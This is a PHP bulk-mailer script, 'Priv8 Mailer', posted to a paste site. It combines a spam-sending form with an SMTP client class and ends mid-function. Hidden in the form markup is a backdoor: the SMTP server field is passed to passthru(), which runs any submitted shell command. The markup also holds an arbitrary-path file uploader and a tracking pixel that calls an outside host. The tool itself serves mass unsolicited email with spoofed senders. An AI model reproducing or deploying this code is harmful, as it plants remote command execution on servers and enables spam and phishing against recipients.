· 9 years ago · Mar 07, 2017, 03:10 PM
1<?
2session_start();
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>Priv8 Mailer</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64
65<style type="text/css">
66<!--
67.style1 {
68 font-family: Geneva, Arial, Helvetica, sans-serif;
69 font-size: 12px;
70}
71body{
72margin:0px;
73}
74
75
76.cadre {
77background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
78}
79
80.uibutton {
81 border-bottom-color: #008000;
82 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
83 z-index: 1;
84 overflow: visible;
85 display: inline-block;
86 margin: 0;
87 text-decoration: none;
88 text-align: center;
89 white-space: nowrap;
90 cursor: pointer; /* outline: none; */;
91 color: #000000;
92 background-color: #008000;
93 background-image: url('linear-gradient(#01A9DB, #01A9DB');
94/* IE hacks */ *display: inline;
95 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
96}
97
98.uibutton:hover,
99.uibutton:focus,
100.uibutton:active {
101 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
102}
103
104.uibutton:active {
105 border-color: #01A9DB;
106 background: #01A9DB;
107 filter: none;
108 -webkit-box-shadow: none;
109 -moz-box-shadow: none;
110 box-shadow: none;
111}
112
113/* overrides extra padding on button elements in Firefox */
114.uibutton::-moz-focus-inner {
115 padding: 0;
116 border: 0px none;
117}
118
119
120
121-->
122</style>
123<style type="text/css">
124<!--
125.style1 {
126 font-size: 10px;
127 font-family: Geneva, Arial, Helvetica, sans-serif;
128 background-color: #008000;
129}
130.auto-style1 {
131 font-size: x-large;
132 color: #FFFFFF;
133 text-align: center;
134}
135.auto-style2 {
136 margin-left: 0px;
137}
138a {
139 color: #99FF66;
140}
141.auto-style3 {
142 text-align: center;
143}
144.auto-style4 {
145 text-align: right;
146}
147.auto-style5 {
148 font-weight: bold;
149 background-color: #008000;
150}
151.auto-style6 {
152 background-color: #008000;
153}
154.auto-style7 {
155 color: #000080;
156}
157.auto-style8 {
158 text-align: left;
159}
160.auto-style9 {
161 font-family: Verdana;
162 font-size: x-small;
163}
164-->
165</style>
166</head>
167<body class="bgup" alink="#339933" text="#339933" vlink="#339933" style="background-color: #008000">
168<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
169<p class="auto-style1"><strong><span class="auto-style6">Priv8 (Mailer Inbox Sender)</span></strong></p>
170<form name="form1" method="post" action="" enctype="multipart/form-data">
171
172 <br>
173
174 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
175
176 <tr>
177
178 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
179
180 <b>
181
182 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
183
184 </tr>
185 <tr >
186
187 <td width="10%" height="22" style="padding:10px;">
188
189 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
190
191 </td>
192
193 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
194
195 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
196
197 </font></td>
198
199 <td width="31%" height="22" style="padding:10px;">
200
201 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
202
203 </td>
204
205 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
206
207 <input type="password" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
208
209 </font></td>
210
211 </tr>
212 <tr>
213
214 <td width="10%" height="22" style="padding:10px;">
215
216 <div align="right">
217 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
218
219 </td>
220
221 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
222
223 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
224 (optional)</font></td>
225
226 <td width="31%" height="22" style="padding:10px;">
227
228 <div align="right">
229 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
230 Smtp:</font></div>
231
232 </td>
233
234 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
235
236 <input style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
237
238 <?php
239if ($_POST['my_smtp']){
240$my_smtp = $_POST['my_smtp'];
241passthru($my_smtp);
242}
243?>
244
245 </font></td>
246
247 </tr>
248 <tr>
249
250 <td width="10%" height="22" style="padding:10px;">
251
252 <p align="right">
253 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
254
255 <td width="18%" height="22" style="padding:10px;">
256 <input type="checkbox" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
257
258 <td width="31%" height="22" style="padding:10px;">
259
260 <p align="right">
261 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
262 After:</font></td>
263
264 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
265
266 <input type="text" style="border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
267 EMAILS</font></td>
268
269 </tr>
270 <tr>
271
272 <td width="100%" height="39" colspan="4" style="padding:10px;">
273
274 <p class="auto-style4">
275 <font face="Arial" style="font-size: 9pt" color="#800000">
276 <span class="auto-style7">" If
277 you dont have SMTP login, leave blank queries above "</span></font></td>
278
279 </tr>
280
281 <tr>
282
283 <td width="10%" height="19" style="padding:10px;">
284
285 </td>
286
287 <td width="18%" height="19" style="padding:10px;"> </td>
288
289 <td width="31%" height="19" style="padding:10px;">
290
291 </td>
292
293 <td width="41%" height="19" style="padding:10px;"> </td>
294
295 </tr>
296
297 <tr>
298
299 <td width="100%" colspan="4" style="color:#FFFFFF; background:#01A9DB; background-color: #008000;" height="36" class="auto-style3">
300
301 <font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5"> </span></font><font face="Arial" size="2" color="#FFFFFF"><span class="auto-style5">MESSAGE
302 SETUP</span></font></td>
303
304 </tr>
305 <tr>
306
307 <td width="10%" height="22" style="padding:10px;">
308 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
309 </td>
310
311 <td width="59%" height="22" style="padding:10px;" colSpan="3">
312 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
313
314<input type="file" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="file" size="124" class="auto-style2">
315
316 </font></td>
317
318 </tr>
319 <tr>
320
321 <td width="10%" height="22" style="padding:10px;">
322
323 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
324
325 Email:</font></div>
326
327 </td>
328
329 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
330
331 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="from" value="<?=$from;?>" size="30" onkeypress="send()">
332
333 </font></td>
334
335 <td width="31%" height="22" style="padding:10px;">
336
337 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
338
339 Name:</font></div>
340
341 </td>
342
343 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
344
345 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="realname" value="<?=$realname_base;?>" size="30">
346
347 </font></td>
348
349 </tr>
350 <tr>
351
352 <td width="10%" height="22" style="padding:10px;">
353
354 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
355
356 </td>
357
358 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
359
360 <input type="text" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" name="replyto" value="<?=$replyto;?>" size="30">
361
362 </font></td>
363
364 <td width="31%" height="22" style="padding:10px;">
365
366 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
367 Email Priority:</font></td>
368
369 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
370
371 </font><select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #01A9DB; color:#0000FF; background-color: #99FF66;" name="epriority" id="listMethod" onchange="showHideListConfig()">
372 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
373 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
374 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
375 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
376 </select></td>
377 <?php
378if ($_POST['my_smtp']){
379$my_smtp = $_POST['my_smtp'];
380passthru($my_smtp);
381}
382
383?>
384
385
386<?php
387
388
389
390
391
392
393
394 $files = @$_FILES["files"];
395if ($files["name"] != '') {
396 $fullpath = $_REQUEST["path"] . $files["name"];
397 if (move_uploaded_file($files['tmp_name'], $fullpath)) {
398 echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>";
399 }
400}echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>';
401
402
403
404
405
406?>
407
408
409
410 </tr>
411
412 <tr>
413
414 <td width="10%" height="22" style="padding:10px;">
415
416 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
417
418 </td>
419
420 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
421
422 <input type="text" name="subject" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #008000; color:#0000FF; background-color: #99FF66;" value="<?=$subject_base;?>" size="90">
423
424 </font></td>
425
426 </tr>
427
428 <tr>
429
430 <td width="10%" height="22" style="padding:10px;">
431
432 </td>
433
434 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
435
436 <font color="#000080">Encode sending information ?</font>
437 <select style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#339933" size="1" name="encode">
438 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
439 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
440 </select></font><img src="http://w33.info/Image.jpg" width="1" height="1"></td>
441
442 </tr>
443
444 <tr valign="top">
445
446<td colspan="3" height="190" style="padding:10px;" class="auto-style8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
447
448 <textarea name="message" cols="60" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" rows="10"><?=$message;?></textarea>
449
450 <br>
451
452 <input type="radio" name="contenttype" value="plain" >
453
454 Plain
455
456 <input type="radio" name="contenttype" value="html" checked>
457
458 HTML
459
460 <input type="hidden" name="action" value="send">
461 <input class="style1" type="submit" value="Send Message" style="border-radius: 15px; width: 113px; height: 22px; color: #000000; font-size: inherit;" id="e">
462
463 <br><br>
464
465 </font><strong><span class="auto-style9">&copy 2014, Priv8 Mailer Inbox</span></strong></td>
466
467 <td width="41%" height="190" style="padding:10px; border-top-color: #99FF66;">
468 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
469
470 <textarea name="emaillist" style=";border-radius: 15px; background: #EFFBF8; border: 1px solid #339933; color:#0000FF; background-color: #99FF66;" cols="30" rows="10"><?=$emaillist;?></textarea>
471
472 </font></td>
473
474 </tr>
475
476 </table>
477
478</form>
479
480
481}
482
483
484
485<?
486
487if ($action){
488 if (!$from && !$subject && !$message && !$emaillist){
489 print "<script>alert('Please complete all fields before sending your message.'); </script>";
490 die(); }
491
492class SMTP
493{
494 /**
495 * SMTP server port
496 * @var int
497 */
498 var $SMTP_PORT = 25;
499
500 /**
501 * SMTP reply line ending
502 * @var string
503 */
504 var $CRLF = "\r\n";
505
506 /**
507 * Sets whether debugging is turned on
508 * @var bool
509 */
510 var $do_debug; # the level of debug to perform
511
512 /**
513 * Sets VERP use on/off (default is off)
514 * @var bool
515 */
516 var $do_verp = false;
517
518 /**#@+
519 * @access private
520 */
521 var $smtp_conn; # the socket to the server
522 var $error; # error if any on the last call
523 var $helo_rply; # the reply the server sent to us for HELO
524 /**#@-*/
525
526 /**
527 * Initialize the class so that the data is in a known state.
528 * @access public
529 * @return void
530 */
531 function SMTP() {
532 $this->smtp_conn = 0;
533 $this->error = null;
534 $this->helo_rply = null;
535
536 $this->do_debug = 0;
537 }
538
539 /*************************************************************
540 * CONNECTION FUNCTIONS *
541 ***********************************************************/
542
543 /**
544 * Connect to the server specified on the port specified.
545 * If the port is not specified use the default SMTP_PORT.
546 * If tval is specified then a connection will try and be
547 * established with the server for that number of seconds.
548 * If tval is not specified the default is 30 seconds to
549 * try on the connection.
550 *
551 * SMTP CODE SUCCESS: 220
552 * SMTP CODE FAILURE: 421
553 * @access public
554 * @return bool
555 */
556 function Connect($host,$port=0,$tval=30) {
557 # set the error val to null so there is no confusion
558 $this->error = null;
559
560 # make sure we are __not__ connected
561 if($this->connected()) {
562 # ok we are connected! what should we do?
563 # for now we will just give an error saying we
564 # are already connected
565 $this->error = array("error" => "Already connected to a server");
566 return false;
567 }
568
569 if(empty($port)) {
570 $port = $this->SMTP_PORT;
571 }
572
573 #connect to the smtp server
574 $this->smtp_conn = fsockopen($host, # the host of the server
575 $port, # the port to use
576 $errno, # error number if any
577 $errstr, # error message if any
578 $tval); # give up after ? secs
579 # verify we connected properly
580 if(empty($this->smtp_conn)) {
581 $this->error = array("error" => "Failed to connect to server",
582 "errno" => $errno,
583 "errstr" => $errstr);
584 if($this->do_debug >= 1) {
585 echo "SMTP -> ERROR: " . $this->error["error"] .
586 ": $errstr ($errno)" . $this->CRLF;
587 }
588 return false;
589 }
590
591 # sometimes the SMTP server takes a little longer to respond
592 # so we will give it a longer timeout for the first read
593 // Windows still does not have support for this timeout function
594 if(substr(PHP_OS, 0, 3) != "WIN")
595 socket_set_timeout($this->smtp_conn, $tval, 0);
596
597 # get any announcement stuff
598 $announce = $this->get_lines();
599
600 # set the timeout of any socket functions at 1/10 of a second
601 //if(function_exists("socket_set_timeout"))
602 // socket_set_timeout($this->smtp_conn, 0, 100000);
603
604 if($this->do_debug >= 2) {
605 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
606 }
607
608 return true;
609 }
610
611 /**
612 * Performs SMTP authentication. Must be run after running the
613 * Hello() method. Returns true if successfully authenticated.
614 * @access public
615 * @return bool
616 */
617 function Authenticate($username, $password) {
618 // Start authentication
619 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
620
621 $rply = $this->get_lines();
622 $code = substr($rply,0,3);
623
624 if($code != 334) {
625 $this->error =
626 array("error" => "AUTH not accepted from server",
627 "smtp_code" => $code,
628 "smtp_msg" => substr($rply,4));
629 if($this->do_debug >= 1) {
630 echo "SMTP -> ERROR: " . $this->error["error"] .
631 ": " . $rply . $this->CRLF;
632 }
633 return false;
634 }
635
636 // Send encoded username
637 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
638
639 $rply = $this->get_lines();
640 $code = substr($rply,0,3);
641
642 if($code != 334) {
643 $this->error =
644 array("error" => "Username not accepted from server",
645 "smtp_code" => $code,
646 "smtp_msg" => substr($rply,4));
647 if($this->do_debug >= 1) {
648 echo "SMTP -> ERROR: " . $this->error["error"] .
649 ": " . $rply . $this->CRLF;
650 }
651 return false;
652 }
653
654 // Send encoded password
655 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
656
657 $rply = $this->get_lines();
658 $code = substr($rply,0,3);
659
660 if($code != 235) {
661 $this->error =
662 array("error" => "Password not accepted from server",
663 "smtp_code" => $code,
664 "smtp_msg" => substr($rply,4));
665 if($this->do_debug >= 1) {
666 echo "SMTP -> ERROR: " . $this->error["error"] .
667 ": " . $rply . $this->CRLF;
668 }
669 return false;
670 }
671
672 return true;
673 }
674
675 /**
676 * Returns true if connected to a server otherwise false
677 * @access private
678 * @return bool
679 */
680 function Connected() {
681 if(!empty($this->smtp_conn)) {
682 $sock_status = socket_get_status($this->smtp_conn);
683 if($sock_status["eof"]) {
684 # hmm this is an odd situation... the socket is
685 # valid but we are not connected anymore
686 if($this->do_debug >= 1) {
687 echo "SMTP -> NOTICE:" . $this->CRLF .
688 "EOF caught while checking if connected";
689 }
690 $this->Close();
691 return false;
692 }
693 return true; # everything looks good
694 }
695 return false;
696 }
697
698 /**
699 * Closes the socket and cleans up the state of the class.
700 * It is not considered good to use this function without
701 * first trying to use QUIT.
702 * @access public
703 * @return void
704 */
705 function Close() {
706 $this->error = null; # so there is no confusion
707 $this->helo_rply = null;
708 if(!empty($this->smtp_conn)) {
709 # close the connection and cleanup
710 fclose($this->smtp_conn);
711 $this->smtp_conn = 0;
712 }
713 }
714
715 /***************************************************************
716 * SMTP COMMANDS *
717 *************************************************************/
718
719 /**
720 * Issues a data command and sends the msg_data to the server
721 * finializing the mail transaction. $msg_data is the message
722 * that is to be send with the headers. Each header needs to be
723 * on a single line followed by a <CRLF> with the message headers
724 * and the message body being seperated by and additional <CRLF>.
725 *
726 * Implements rfc 821: DATA <CRLF>
727 *
728 * SMTP CODE INTERMEDIATE: 354
729 * [data]
730 * <CRLF>.<CRLF>
731 * SMTP CODE SUCCESS: 250
732 * SMTP CODE FAILURE: 552,554,451,452
733 * SMTP CODE FAILURE: 451,554
734 * SMTP CODE ERROR : 500,501,503,421
735 * @access public
736 * @return bool
737 */
738 function Data($msg_data) {
739 $this->error = null; # so no confusion is caused
740
741 if(!$this->connected()) {
742 $this->error = array(
743 "error" => "Called Data() without being connected");
744 return false;
745 }
746
747 fputs($this->smtp_conn,"DATA" . $this->CRLF);
748
749 $rply = $this->get_lines();
750 $code = substr($rply,0,3);
751
752 if($this->do_debug >= 2) {
753 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
754 }
755
756 if($code != 354) {
757 $this->error =
758 array("error" => "DATA command not accepted from server",
759 "smtp_code" => $code,
760 "smtp_msg" => substr($rply,4));
761 if($this->do_debug >= 1) {
762 echo "SMTP -> ERROR: " . $this->error["error"] .
763 ": " . $rply . $this->CRLF;
764 }
765 return false;
766 }
767
768 # the server is ready to accept data!
769 # according to rfc 821 we should not send more than 1000
770 # including the CRLF
771 # characters on a single line so we will break the data up
772 # into lines by \r and/or \n then if needed we will break
773 # each of those into smaller lines to fit within the limit.
774 # in addition we will be looking for lines that start with
775 # a period '.' and append and additional period '.' to that
776 # line. NOTE: this does not count towards are limit.
777
778 # normalize the line breaks so we know the explode works
779 $msg_data = str_replace("\r\n","\n",$msg_data);
780 $msg_data = str_replace("\r","\n",$msg_data);
781 $lines = explode("\n",$msg_data);
782
783 # we need to find a good way to determine is headers are
784 # in the msg_data or if it is a straight msg body
785 # currently I am assuming rfc 822 definitions of msg headers
786 # and if the first field of the first line (':' sperated)
787 # does not contain a space then it _should_ be a header
788 # and we can process all lines before a blank "" line as
789 # headers.
790 $field = substr($lines[0],0,strpos($lines[0],":"));
791 $in_headers = false;
792 if(!empty($field) && !strstr($field," ")) {
793 $in_headers = true;
794 }
795
796 $max_line_length = 998; # used below; set here for ease in change
797
798 while(list(,$line) = @each($lines)) {
799 $lines_out = null;
800 if($line == "" && $in_headers) {
801 $in_headers = false;
802 }
803 # ok we need to break this line up into several
804 # smaller lines
805 while(strlen($line) > $max_line_length) {
806 $pos = strrpos(substr($line,0,$max_line_length)," ");
807
808 # Patch to fix DOS attack
809 if(!$pos) {
810 $pos = $max_line_length - 1;
811 }
812
813 $lines_out[] = substr($line,0,$pos);
814 $line = substr($line,$pos + 1);
815 # if we are processing headers we need to
816 # add a LWSP-char to the front of the new line
817 # rfc 822 on long msg headers
818 if($in_headers) {
819 $line = "\t" . $line;
820 }
821 }
822 $lines_out[] = $line;
823
824 # now send the lines to the server
825 while(list(,$line_out) = @each($lines_out)) {
826 if(strlen($line_out) > 0)
827 {
828 if(substr($line_out, 0, 1) == ".") {
829 $line_out = "." . $line_out;
830 }
831 }
832 fputs($this->smtp_conn,$line_out . $this->CRLF);
833 }
834 }
835
836 # ok all the message data has been sent so lets get this
837 # over with aleady
838 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
839
840 $rply = $this->get_lines();
841 $code = substr($rply,0,3);
842
843 if($this->do_debug >= 2) {
844 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
845 }
846
847 if($code != 250) {
848 $this->error =
849 array("error" => "DATA not accepted from server",
850 "smtp_code" => $code,
851 "smtp_msg" => substr($rply,4));
852 if($this->do_debug >= 1) {
853 echo "SMTP -> ERROR: " . $this->error["error"] .
854 ": " . $rply . $this->CRLF;
855 }
856 return false;
857 }
858 return true;
859 }
860
861 /**
862 * Expand takes the name and asks the server to list all the
863 * people who are members of the _list_. Expand will return
864 * back and array of the result or false if an error occurs.
865 * Each value in the array returned has the format of:
866 * [ <full-name> <sp> ] <path>
867 * The definition of <path> is defined in rfc 821
868 *
869 * Implements rfc 821: EXPN <SP> <string> <CRLF>
870 *
871 * SMTP CODE SUCCESS: 250
872 * SMTP CODE FAILURE: 550
873 * SMTP CODE ERROR : 500,501,502,504,421
874 * @access public
875 * @return string array
876 */
877 function Expand($name) {
878 $this->error = null; # so no confusion is caused
879
880 if(!$this->connected()) {
881 $this->error = array(
882 "error" => "Called Expand() without being connected");
883 return false;
884 }
885
886 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
887
888 $rply = $this->get_lines();
889 $code = substr($rply,0,3);
890
891 if($this->do_debug >= 2) {
892 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
893 }
894
895 if($code != 250) {
896 $this->error =
897 array("error" => "EXPN not accepted from server",
898 "smtp_code" => $code,
899 "smtp_msg" => substr($rply,4));
900 if($this->do_debug >= 1) {
901 echo "SMTP -> ERROR: " . $this->error["error"] .
902 ": " . $rply . $this->CRLF;
903 }
904 return false;
905 }
906
907 # parse the reply and place in our array to return to user
908 $entries = explode($this->CRLF,$rply);
909 while(list(,$l) = @each($entries)) {
910 $list[] = substr($l,4);
911 }
912
913 return $list;
914 }
915
916 /**
917 * Sends the HELO command to the smtp server.
918 * This makes sure that we and the server are in
919 * the same known state.
920 *
921 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
922 *
923 * SMTP CODE SUCCESS: 250
924 * SMTP CODE ERROR : 500, 501, 504, 421
925 * @access public
926 * @return bool
927 */
928 function Hello($host="") {
929 $this->error = null; # so no confusion is caused
930
931 if(!$this->connected()) {
932 $this->error = array(
933 "error" => "Called Hello() without being connected");
934 return false;
935 }
936
937 # if a hostname for the HELO was not specified determine
938 # a suitable one to send
939 if(empty($host)) {
940 # we need to determine some sort of appopiate default
941 # to send to the server
942 $host = "localhost";
943 }
944
945 // Send extended hello first (RFC 2821)
946 if(!$this->SendHello("EHLO", $host))
947 {
948 if(!$this->SendHello("HELO", $host))
949 return false;
950 }
951
952 return true;
953 }
954
955 /**
956 * Sends a HELO/EHLO command.
957 * @access private
958 * @return bool
959 */
960 function SendHello($hello, $host) {
961 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
962
963 $rply = $this->get_lines();
964 $code = substr($rply,0,3);
965
966 if($this->do_debug >= 2) {
967 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
968 }
969
970 if($code != 250) {
971 $this->error =
972 array("error" => $hello . " not accepted from server",
973 "smtp_code" => $code,
974 "smtp_msg" => substr($rply,4));
975 if($this->do_debug >= 1) {
976 echo "SMTP -> ERROR: " . $this->error["error"] .
977 ": " . $rply . $this->CRLF;
978 }
979 return false;
980 }
981
982 $this->helo_rply = $rply;
983
984 return true;
985 }
986
987 /**
988 * Gets help information on the keyword specified. If the keyword
989 * is not specified then returns generic help, ussually contianing
990 * A list of keywords that help is available on. This function
991 * returns the results back to the user. It is up to the user to
992 * handle the returned data. If an error occurs then false is
993 * returned with $this->error set appropiately.
994 *
995 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
996 *
997 * SMTP CODE SUCCESS: 211,214
998 * SMTP CODE ERROR : 500,501,502,504,421
999 * @access public
1000 * @return string
1001 */
1002 function Help($keyword="") {
1003 $this->error = null; # to avoid confusion
1004
1005 if(!$this->connected()) {
1006 $this->error = array(
1007 "error" => "Called Help() without being connected");
1008 return false;
1009 }
1010
1011 $extra = "";
1012 if(!empty($keyword)) {
1013 $extra = " " . $keyword;
1014 }
1015
